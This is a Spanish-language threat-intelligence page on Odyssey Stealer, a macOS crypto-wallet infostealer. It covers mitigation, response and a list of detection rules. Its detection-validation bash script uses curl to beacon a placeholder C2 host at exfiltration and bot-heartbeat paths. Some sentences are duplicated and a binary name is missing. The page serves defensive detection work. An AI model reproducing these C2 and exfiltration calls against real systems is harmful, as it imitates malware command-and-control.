Odyssey Stealer: Dentro de una operación de robo de criptomonedas en macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Odyssey Stealer es un infostealer de macOS enfocado en carteras de criptomonedas y extensiones. Se comercializa como una plataforma de Malware-como-Servicio donde los afiliados alquilan acceso a un C2 centralizado y panel de administración. La distribución generalmente depende de un AppleScript ofuscado que instala un LaunchDaemon persistente que consulta el C2 para recibir comandos. El operador también puede reemplazar aplicaciones legítimas de Ledger y Trezor con versiones troyanizadas para capturar credenciales y datos de transacciones.
Investigación
Los investigadores identificaron el C2 utilizando etiquetas meta HTML únicas, hashes del cuerpo de la página y un hash de favicon compartido. Mapearon diez hosts físicos a través de múltiples clústeres ASN, en gran parte en Europa y los Países Bajos. El análisis de cargas útiles reveló un dropper de AppleScript en múltiples etapas, persistencia de LaunchDaemon, y un binario proxy SOCKS5 compilado en Go. Los datos de configuración incrustados en el dropper expusieron identificadores de afiliados e IDs de compilación.
Mitigación
Esté atento a actividades sospechosas de osascript, especialmente cadenas obfuscadas largas, archivos plist de LaunchDaemon desconocidos con etiquetas aleatorias, y solicitudes POST salientes a puntos de acceso “/log”. Emitir alertas sobre binarios generados por LaunchDaemon y actividad sospechosa de SOCKS5. Verificar la firma de código para aplicaciones de Ledger y Trezor, y bloquear dominios e IPs de C2 conocidos. Enseñar a los usuarios a tratar solicitudes inesperadas de contraseñas y “actualizaciones de billetera” como de alto riesgo.
Respuesta
Al detectarse, aísle el sistema, termine el LaunchDaemon malicioso, y elimine aplicaciones de billetera troyanizadas. Capture el tráfico de red a los dominios e IPs de C2 identificados para la investigación, luego restablezca las credenciales de criptomonedas expuestas y rote las contraseñas de macOS. Realice una revisión forense completa para identificar artefactos adicionales.
Flujo de Ataque
Detecciones
Archivado de Soporte de Aplicaciones Shell de MacOS (vía cmdline)
Ver
MacOS Osascript Generando Curl (vía cmdline)
Ver
Escritura de Shell de MacOS en el Directorio de LaunchDaemons (vía evento_de_archivo)
Ver
IOCs (SourceIP) a detectar: Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
Ver
IOCs (DestinationIP) a detectar: Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
Ver
IOCs (HashSha256) a detectar: Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
Ver
IOCs (HashMd5) a detectar: Odyssey Stealer: Inside a macOS Crypto-Stealing Operation
Ver
Detección de Endpoint C2 de Odyssey Stealer [Servidor web]
Ver
Odyssey Stealer: Detección de AppleScript Ofuscado y Uso de Curl [Creación de Proceso en Linux]
Ver
Ejecución de Simulación
Prerequisito: La Verificación de Telemetría y Línea Base debe haberse completado.
-
Narrativa del Ataque y Comandos:
Un adversario ha desplegado Odyssey Stealer en una estación de trabajo macOS. Después de comprometer al usuario, el malware inicia una señal a su servidor C2 para descargar cargas útiles adicionales y exfiltrar datos recolectados. La señal usa elbinary (binario de Apple firmado) para enviar solicitudes HTTP GET a los endpoints de C2 definidos en la regla. El atacante elige estas rutas URI específicas porque son cortas, se mezclan con el tráfico web típico y evitan la detección por soluciones de filtrado de URL genéricas.binary (binario de Apple firmado) para enviar solicitudes HTTP GET a los endpoints de C2 definidos en la regla. El atacante elige estas rutas URI específicas porque son cortas, se mezclan con el tráfico web típico y evitan la detección por soluciones de filtrado de URL genéricas.Pasos:
- Resuelva el nombre de host del C2 (simulado como
c2.odyssey.example.com). - Emita una solicitud GET a
/d/aff123456– imita el punto de exfiltración de datos con un código de afiliado aleatorio y un token numérico. - Emita una solicitud GET a
/api/v1/bot/– simula el latido de gestión de bots. - Opcionalmente, envíe una solicitud a
/logpara emular el tráfico de registro interno utilizado por el malware para informar sobre el estado.
- Resuelva el nombre de host del C2 (simulado como
-
Guion de Prueba de Regresión: El siguiente script bash reproduce el tráfico exacto necesario para activar la regla de detección.
#!/usr/bin/env bash # Simulación de señal C2 de Odyssey Stealer para validación de detección # Requisitos: curl, proxy de red configurado según los pasos previos C2_HOST="c2.odyssey.example.com" PROXY_HOST="127.0.0.1:3128" # ajuste a la dirección de su proxy Squid # Función para enviar una solicitud a través del proxy enviar_solicitud() { local ruta=$1 echo "[*] Enviando solicitud a https://${C2_HOST}${ruta} a través del proxy ${PROXY_HOST}" curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${ruta}" } # 1. Punto de exfiltración de datos (afiliado aleatorio + dígitos) AFILIADO="aff$(shuf -i 1000-9999 -n 1)" DIGITOS=$(shuf -i 10000-99999 -n 1) enviar_solicitud "/d/${AFILIADO}${DIGITOS}" # 2. Latido de gestión de bots enviar_solicitud "/api/v1/bot/" # 3. Punto de registro opcional enviar_solicitud "/log" echo "[+] Simulación completa. Verifique alertas en el SIEM."Guarde el script como
odyssey_beacon.sh, hágalo ejecutable (chmod +x odyssey_beacon.sh), y ejecútelo en el host de prueba macOS. -
Comandos de Limpieza: Elimine cualquier archivo temporal y opcionalmente desactive el proxy para el usuario de prueba.
# Desactivar la configuración del proxy para la interfaz Wi‑Fi networksetup -setwebproxystate "Wi-Fi" off networksetup -setsecurewebproxystate "Wi-Fi" off # (Opcional) Detenga Squid si se inició únicamente para esta prueba # brew services stop squid echo "Configuración de proxy restaurada y Squid detenido (si corresponde)."